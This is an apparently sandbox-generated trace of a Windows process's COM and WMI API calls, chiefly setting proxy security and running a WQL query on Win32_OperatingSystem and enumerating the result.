	[0085.489] IClientSecurity:QueryBlanket (in: This=0x72cdfc, pProxy=0x72ce1c, pAuthnSvc=0x6d4f308, pAuthzSvc=0x6d4f304, pServerPrincName=0x6d4f2fc, pAuthnLevel=0x6d4f300, pImpLevel=0x6d4f2f0, pAuthInfo=0x6d4f2f4, pCapabilites=0x6d4f2f8 | out: pAuthnSvc=0x6d4f308*=0xa, pAuthzSvc=0x6d4f304*=0x0, pServerPrincName=0x6d4f2fc, pAuthnLevel=0x6d4f300*=0x6, pImpLevel=0x6d4f2f0*=0x2, pAuthInfo=0x6d4f2f4, pCapabilites=0x6d4f2f8*=0x1) returned 0x0
	[0085.489] IUnknown:Release (This=0x72cdfc) returned 0x2
	[0085.489] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2ac | out: ppvObject=0x6d4f2ac*=0x72ce1c) returned 0x0
	[0085.489] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2a8 | out: ppvObject=0x6d4f2a8*=0x72cdfc) returned 0x0
	[0085.489] IClientSecurity:SetBlanket (This=0x72cdfc, pProxy=0x72ce1c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.489] IUnknown:Release (This=0x72cdfc) returned 0x3
	[0085.489] IUnknown:Release (This=0x72ce1c) returned 0x2
	[0085.489] CoTaskMemFree (pv=0x54204a8) 
	[0085.489] IUnknown:Release (This=0x72ce1c) returned 0x1
	[0085.489] SysStringLen (param_1=0x0) returned 0x0
	[0085.489] CoGetContextToken (in: pToken=0x6d4f270 | out: pToken=0x6d4f270) returned 0x0
	[0085.489] CoGetContextToken (in: pToken=0x6d4f1d0 | out: pToken=0x6d4f1d0) returned 0x0
	[0085.489] IUnknown:QueryInterface (in: This=0x72ce1c, riid=0x6d4f2a0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x6d4f29c | out: ppvObject=0x6d4f29c*=0x69bd8fc) returned 0x0
	[0085.490] IUnknown:AddRef (This=0x69bd8fc) returned 0x3
	[0085.490] IUnknown:Release (This=0x69bd8fc) returned 0x2
	[0085.490] CoGetContextToken (in: pToken=0x6d4f230 | out: pToken=0x6d4f230) returned 0x0
	[0085.490] IUnknown:AddRef (This=0x69bd8fc) returned 0x3
	[0085.490] IUnknown:QueryInterface (in: This=0x69bd8fc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2b8 | out: ppvObject=0x6d4f2b8*=0x72cdfc) returned 0x0
	[0085.490] IClientSecurity:QueryBlanket (in: This=0x72cdfc, pProxy=0x69bd8fc, pAuthnSvc=0x6d4f308, pAuthzSvc=0x6d4f304, pServerPrincName=0x6d4f2fc, pAuthnLevel=0x6d4f300, pImpLevel=0x6d4f2f0, pAuthInfo=0x6d4f2f4, pCapabilites=0x6d4f2f8 | out: pAuthnSvc=0x6d4f308*=0xa, pAuthzSvc=0x6d4f304*=0x0, pServerPrincName=0x6d4f2fc, pAuthnLevel=0x6d4f300*=0x6, pImpLevel=0x6d4f2f0*=0x2, pAuthInfo=0x6d4f2f4, pCapabilites=0x6d4f2f8*=0x1) returned 0x0
	[0085.490] IUnknown:Release (This=0x72cdfc) returned 0x3
	[0085.490] IUnknown:QueryInterface (in: This=0x69bd8fc, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2ac | out: ppvObject=0x6d4f2ac*=0x72ce1c) returned 0x0
	[0085.490] IUnknown:QueryInterface (in: This=0x69bd8fc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2a8 | out: ppvObject=0x6d4f2a8*=0x72cdfc) returned 0x0
	[0085.490] IClientSecurity:SetBlanket (This=0x72cdfc, pProxy=0x69bd8fc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.490] IUnknown:Release (This=0x72cdfc) returned 0x4
	[0085.490] IUnknown:Release (This=0x72ce1c) returned 0x3
	[0085.490] CoTaskMemFree (pv=0x5420298) 
	[0085.490] IUnknown:Release (This=0x69bd8fc) returned 0x2
	[0085.490] SysStringLen (param_1=0x0) returned 0x0
	[0085.490] CoGetContextToken (in: pToken=0x6d4f1a8 | out: pToken=0x6d4f1a8) returned 0x0
	[0085.490] IUnknown:AddRef (This=0x69bd8fc) returned 0x3
	[0085.490] IWbemServices:ExecQuery (in: This=0x69bd8fc, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x6d4f3c4 | out: ppEnum=0x6d4f3c4*=0x69bda7c) returned 0x0
	[0085.510] IUnknown:QueryInterface (in: This=0x69bda7c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f21c | out: ppvObject=0x6d4f21c*=0x69bda80) returned 0x0
	[0085.510] IClientSecurity:QueryBlanket (in: This=0x69bda80, pProxy=0x69bda7c, pAuthnSvc=0x6d4f26c, pAuthzSvc=0x6d4f268, pServerPrincName=0x6d4f260, pAuthnLevel=0x6d4f264, pImpLevel=0x6d4f254, pAuthInfo=0x6d4f258, pCapabilites=0x6d4f25c | out: pAuthnSvc=0x6d4f26c*=0xa, pAuthzSvc=0x6d4f268*=0x0, pServerPrincName=0x6d4f260, pAuthnLevel=0x6d4f264*=0x6, pImpLevel=0x6d4f254*=0x2, pAuthInfo=0x6d4f258, pCapabilites=0x6d4f25c*=0x1) returned 0x0
	[0085.510] IUnknown:Release (This=0x69bda80) returned 0x1
	[0085.510] IUnknown:QueryInterface (in: This=0x69bda7c, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f210 | out: ppvObject=0x6d4f210*=0x72cffc) returned 0x0
	[0085.510] IUnknown:QueryInterface (in: This=0x69bda7c, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f20c | out: ppvObject=0x6d4f20c*=0x69bda80) returned 0x0
	[0085.510] IClientSecurity:SetBlanket (This=0x69bda80, pProxy=0x69bda7c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.519] IUnknown:Release (This=0x69bda80) returned 0x2
	[0085.519] IUnknown:Release (This=0x72cffc) returned 0x1
	[0085.519] CoTaskMemFree (pv=0x54204a8) 
	[0085.519] IUnknown:QueryInterface (in: This=0x69bda7c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ee08 | out: ppvObject=0x6d4ee08*=0x72cffc) returned 0x0
	[0085.519] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6d4edc4 | out: ppvObject=0x6d4edc4*=0x0) returned 0x80004002
	[0085.623] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6d4ebe4 | out: ppvObject=0x6d4ebe4*=0x0) returned 0x80004002
	[0085.628] IUnknown:AddRef (This=0x72cffc) returned 0x3
	[0085.628] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6d4e724 | out: ppvObject=0x6d4e724*=0x0) returned 0x80004002
	[0085.629] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6d4e6d4 | out: ppvObject=0x6d4e6d4*=0x0) returned 0x80004002
	[0085.629] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e6e0 | out: ppvObject=0x6d4e6e0*=0x72cf5c) returned 0x0
	[0085.629] IMarshal:GetUnmarshalClass (in: This=0x72cf5c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6d4e6e8 | out: pCid=0x6d4e6e8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.629] IUnknown:Release (This=0x72cf5c) returned 0x3
	[0085.629] CoGetContextToken (in: pToken=0x6d4e740 | out: pToken=0x6d4e740) returned 0x0
	[0085.629] CoGetContextToken (in: pToken=0x6d4eb48 | out: pToken=0x6d4eb48) returned 0x0
	[0085.629] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ebd8 | out: ppvObject=0x6d4ebd8*=0x72cfe4) returned 0x0
	[0085.629] IRpcOptions:Query (in: This=0x72cfe4, pPrx=0x72cffc, dwProperty=2, pdwValue=0x6d4ec00 | out: pdwValue=0x6d4ec00) returned 0x80004002
	[0085.629] IUnknown:Release (This=0x72cfe4) returned 0x3
	[0085.629] IUnknown:Release (This=0x72cffc) returned 0x2
	[0085.629] CoGetContextToken (in: pToken=0x6d4f118 | out: pToken=0x6d4f118) returned 0x0
	[0085.630] CoGetContextToken (in: pToken=0x6d4f078 | out: pToken=0x6d4f078) returned 0x0
	[0085.630] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x6d4f148*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6d4f144 | out: ppvObject=0x6d4f144*=0x69bda7c) returned 0x0
	[0085.630] IUnknown:AddRef (This=0x69bda7c) returned 0x4
	[0085.630] IUnknown:Release (This=0x69bda7c) returned 0x3
	[0085.630] IUnknown:Release (This=0x69bda7c) returned 0x2
	[0085.630] IUnknown:Release (This=0x69bd8fc) returned 0x2
	[0085.630] SysStringLen (param_1=0x0) returned 0x0
	[0085.630] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6d4f410 | out: puCount=0x6d4f410*=0x2) returned 0x0
	[0085.630] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f40c*=0x0, pszText=0x0 | out: puBuffLength=0x6d4f40c*=0xf, pszText=0x0) returned 0x0
	[0085.630] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f40c*=0xf, pszText="00000000000000" | out: puBuffLength=0x6d4f40c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0085.630] CoGetContextToken (in: pToken=0x6d4f250 | out: pToken=0x6d4f250) returned 0x0
	[0085.630] IUnknown:AddRef (This=0x69bda7c) returned 0x3
	[0085.630] IEnumWbemClassObject:Clone (in: This=0x69bda7c, ppEnum=0x6d4f40c | out: ppEnum=0x6d4f40c*=0x69bdb44) returned 0x0
	[0085.631] IUnknown:QueryInterface (in: This=0x69bdb44, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2d0 | out: ppvObject=0x6d4f2d0*=0x69bdb48) returned 0x0
	[0085.631] IClientSecurity:QueryBlanket (in: This=0x69bdb48, pProxy=0x69bdb44, pAuthnSvc=0x6d4f320, pAuthzSvc=0x6d4f31c, pServerPrincName=0x6d4f314, pAuthnLevel=0x6d4f318, pImpLevel=0x6d4f308, pAuthInfo=0x6d4f30c, pCapabilites=0x6d4f310 | out: pAuthnSvc=0x6d4f320*=0xa, pAuthzSvc=0x6d4f31c*=0x0, pServerPrincName=0x6d4f314, pAuthnLevel=0x6d4f318*=0x6, pImpLevel=0x6d4f308*=0x2, pAuthInfo=0x6d4f30c, pCapabilites=0x6d4f310*=0x1) returned 0x0
	[0085.631] IUnknown:Release (This=0x69bdb48) returned 0x1
	[0085.631] IUnknown:QueryInterface (in: This=0x69bdb44, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2c4 | out: ppvObject=0x6d4f2c4*=0x72d1dc) returned 0x0
	[0085.631] IUnknown:QueryInterface (in: This=0x69bdb44, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2c0 | out: ppvObject=0x6d4f2c0*=0x69bdb48) returned 0x0
	[0085.631] IClientSecurity:SetBlanket (This=0x69bdb48, pProxy=0x69bdb44, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0085.632] IUnknown:Release (This=0x69bdb48) returned 0x2
	[0085.632] IUnknown:Release (This=0x72d1dc) returned 0x1
	[0085.632] CoTaskMemFree (pv=0x5420298) 
	[0085.632] IUnknown:QueryInterface (in: This=0x69bdb44, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4eeac | out: ppvObject=0x6d4eeac*=0x72d1dc) returned 0x0
	[0085.632] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6d4ee68 | out: ppvObject=0x6d4ee68*=0x0) returned 0x80004002
	[0085.632] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6d4ec84 | out: ppvObject=0x6d4ec84*=0x0) returned 0x80004002
	[0085.633] IUnknown:AddRef (This=0x72d1dc) returned 0x3
	[0085.633] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6d4e7c4 | out: ppvObject=0x6d4e7c4*=0x0) returned 0x80004002
	[0085.633] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6d4e774 | out: ppvObject=0x6d4e774*=0x0) returned 0x80004002
	[0085.633] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e780 | out: ppvObject=0x6d4e780*=0x72d13c) returned 0x0
	[0085.633] IMarshal:GetUnmarshalClass (in: This=0x72d13c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6d4e788 | out: pCid=0x6d4e788*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0085.634] IUnknown:Release (This=0x72d13c) returned 0x3
	[0085.634] CoGetContextToken (in: pToken=0x6d4e7e0 | out: pToken=0x6d4e7e0) returned 0x0
	[0085.634] CoGetContextToken (in: pToken=0x6d4ebe8 | out: pToken=0x6d4ebe8) returned 0x0
	[0085.634] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ec78 | out: ppvObject=0x6d4ec78*=0x72d1c4) returned 0x0
	[0085.634] IRpcOptions:Query (in: This=0x72d1c4, pPrx=0x72d1dc, dwProperty=2, pdwValue=0x6d4eca0 | out: pdwValue=0x6d4eca0) returned 0x80004002
	[0085.634] IUnknown:Release (This=0x72d1c4) returned 0x3
	[0085.634] IUnknown:Release (This=0x72d1dc) returned 0x2
	[0085.634] CoGetContextToken (in: pToken=0x6d4f1c0 | out: pToken=0x6d4f1c0) returned 0x0
	[0085.634] CoGetContextToken (in: pToken=0x6d4f120 | out: pToken=0x6d4f120) returned 0x0
	[0085.634] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x6d4f1f0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6d4f1ec | out: ppvObject=0x6d4f1ec*=0x69bdb44) returned 0x0
	[0085.634] IUnknown:AddRef (This=0x69bdb44) returned 0x4
	[0085.634] IUnknown:Release (This=0x69bdb44) returned 0x3
	[0085.634] IUnknown:Release (This=0x69bdb44) returned 0x2
	[0085.634] IUnknown:Release (This=0x69bda7c) returned 0x2
	[0085.634] SysStringLen (param_1=0x0) returned 0x0
	[0085.634] IEnumWbemClassObject:Reset (This=0x69bdb44) returned 0x0
	[0085.634] CoTaskMemAlloc (cb=0x4) returned 0x719ae0
	[0085.634] IEnumWbemClassObject:Next (in: This=0x69bdb44, lTimeout=-1, uCount=0x1, apObjects=0x719ae0, puReturned=0x24a37b4 | out: apObjects=0x719ae0*=0x69bdb80, puReturned=0x24a37b4*=0x1) returned 0x0
	[0086.087] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ea70 | out: ppvObject=0x6d4ea70*=0x69bdb80) returned 0x0
	[0086.087] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6d4ea2c | out: ppvObject=0x6d4ea2c*=0x0) returned 0x80004002
	[0086.091] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6d4e84c | out: ppvObject=0x6d4e84c*=0x0) returned 0x80004002
	[0086.091] IUnknown:AddRef (This=0x69bdb80) returned 0x3
	[0086.091] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6d4e38c | out: ppvObject=0x6d4e38c*=0x0) returned 0x80004002
	[0086.091] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6d4e33c | out: ppvObject=0x6d4e33c*=0x0) returned 0x80004002
	[0086.091] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e348 | out: ppvObject=0x6d4e348*=0x69bdb84) returned 0x0
	[0086.092] IMarshal:GetUnmarshalClass (in: This=0x69bdb84, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6d4e350 | out: pCid=0x6d4e350*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0086.092] IUnknown:Release (This=0x69bdb84) returned 0x3
	[0086.092] CoGetContextToken (in: pToken=0x6d4e3a8 | out: pToken=0x6d4e3a8) returned 0x0
	[0086.092] CoGetContextToken (in: pToken=0x6d4e7b0 | out: pToken=0x6d4e7b0) returned 0x0
	[0086.092] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e840 | out: ppvObject=0x6d4e840*=0x0) returned 0x80004002
	[0086.092] IUnknown:Release (This=0x69bdb80) returned 0x2
	[0086.092] CoGetContextToken (in: pToken=0x6d4ed80 | out: pToken=0x6d4ed80) returned 0x0
	[0086.092] CoGetContextToken (in: pToken=0x6d4ece0 | out: pToken=0x6d4ece0) returned 0x0
	[0086.092] IUnknown:QueryInterface (in: This=0x69bdb80, riid=0x6d4edb0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6d4edac | out: ppvObject=0x6d4edac*=0x69bdb80) returned 0x0
	[0086.092] IUnknown:AddRef (This=0x69bdb80) returned 0x4
	[0086.092] IUnknown:Release (This=0x69bdb80) returned 0x3
	[0086.092] IUnknown:Release (This=0x69bdb80) returned 0x2
	[0086.092] CoTaskMemFree (pv=0x719ae0) 
	[0086.092] CoGetContextToken (in: pToken=0x6d4f0e8 | out: pToken=0x6d4f0e8) returned 0x0
	[0086.092] IUnknown:AddRef (This=0x69bdb80) returned 0x3
	[0086.093] CoTaskMemAlloc (cb=0x4) returned 0x719ae0
	[0086.093] IEnumWbemClassObject:Next (in: This=0x69bdb44, lTimeout=-1, uCount=0x1, apObjects=0x719ae0, puReturned=0x24a37b4 | out: apObjects=0x719ae0*=0x0, puReturned=0x24a37b4*=0x0) returned 0x1
	[0086.093] CoTaskMemFree (pv=0x719ae0) 
	[0086.093] CoGetContextToken (in: pToken=0x6d4f260 | out: pToken=0x6d4f260) returned 0x0
	[0086.093] IUnknown:AddRef (This=0x69bda7c) returned 0x3
	[0086.094] IEnumWbemClassObject:Clone (in: This=0x69bda7c, ppEnum=0x6d4f41c | out: ppEnum=0x6d4f41c*=0x69c3ce4) returned 0x0
	[0086.094] IUnknown:QueryInterface (in: This=0x69c3ce4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2e0 | out: ppvObject=0x6d4f2e0*=0x69c3ce8) returned 0x0
	[0086.095] IClientSecurity:QueryBlanket (in: This=0x69c3ce8, pProxy=0x69c3ce4, pAuthnSvc=0x6d4f330, pAuthzSvc=0x6d4f32c, pServerPrincName=0x6d4f324, pAuthnLevel=0x6d4f328, pImpLevel=0x6d4f318, pAuthInfo=0x6d4f31c, pCapabilites=0x6d4f320 | out: pAuthnSvc=0x6d4f330*=0xa, pAuthzSvc=0x6d4f32c*=0x0, pServerPrincName=0x6d4f324, pAuthnLevel=0x6d4f328*=0x6, pImpLevel=0x6d4f318*=0x2, pAuthInfo=0x6d4f31c, pCapabilites=0x6d4f320*=0x1) returned 0x0
	[0086.095] IUnknown:Release (This=0x69c3ce8) returned 0x1
	[0086.095] IUnknown:QueryInterface (in: This=0x69c3ce4, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2d4 | out: ppvObject=0x6d4f2d4*=0x72d3bc) returned 0x0
	[0086.095] IUnknown:QueryInterface (in: This=0x69c3ce4, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4f2d0 | out: ppvObject=0x6d4f2d0*=0x69c3ce8) returned 0x0
	[0086.095] IClientSecurity:SetBlanket (This=0x69c3ce8, pProxy=0x69c3ce4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0086.096] IUnknown:Release (This=0x69c3ce8) returned 0x2
	[0086.096] IUnknown:Release (This=0x72d3bc) returned 0x1
	[0086.096] CoTaskMemFree (pv=0x54204a8) 
	[0086.097] IUnknown:QueryInterface (in: This=0x69c3ce4, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4eebc | out: ppvObject=0x6d4eebc*=0x72d3bc) returned 0x0
